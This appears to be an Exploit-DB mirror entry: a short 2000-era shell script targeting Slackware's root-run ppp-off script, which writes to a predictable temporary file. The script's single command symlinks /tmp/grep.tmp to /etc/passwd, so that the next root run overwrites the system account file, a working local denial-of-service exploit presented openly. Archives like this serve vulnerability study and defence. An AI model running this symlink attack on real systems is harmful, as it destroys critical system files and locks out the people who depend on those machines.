exploit-db-mirror/platforms/linux/dos/185.sh
Offensive Security fffbf04102 Updated
2013-12-03 19:44:07 +00:00

14 lines
481 B
Bash
Executable file

#!/bin/sh
#
# In SlackWare Linux the script /usr/bin/ppp-off writes the
# output of 'ps x' to /tmp/grep.tmp. Since root is the user
# that runs ppp-off, a non-privileged user could create a
# link from /tmp/grep.tmp to any file(ie: /etc/issue), thus
# when root runs the ppp-off script, the output of 'ps x'
# would be put in the linked file.
# sinfony
ln -s /etc/passwd /tmp/grep.tmp
# milw0rm.com [2000-11-17]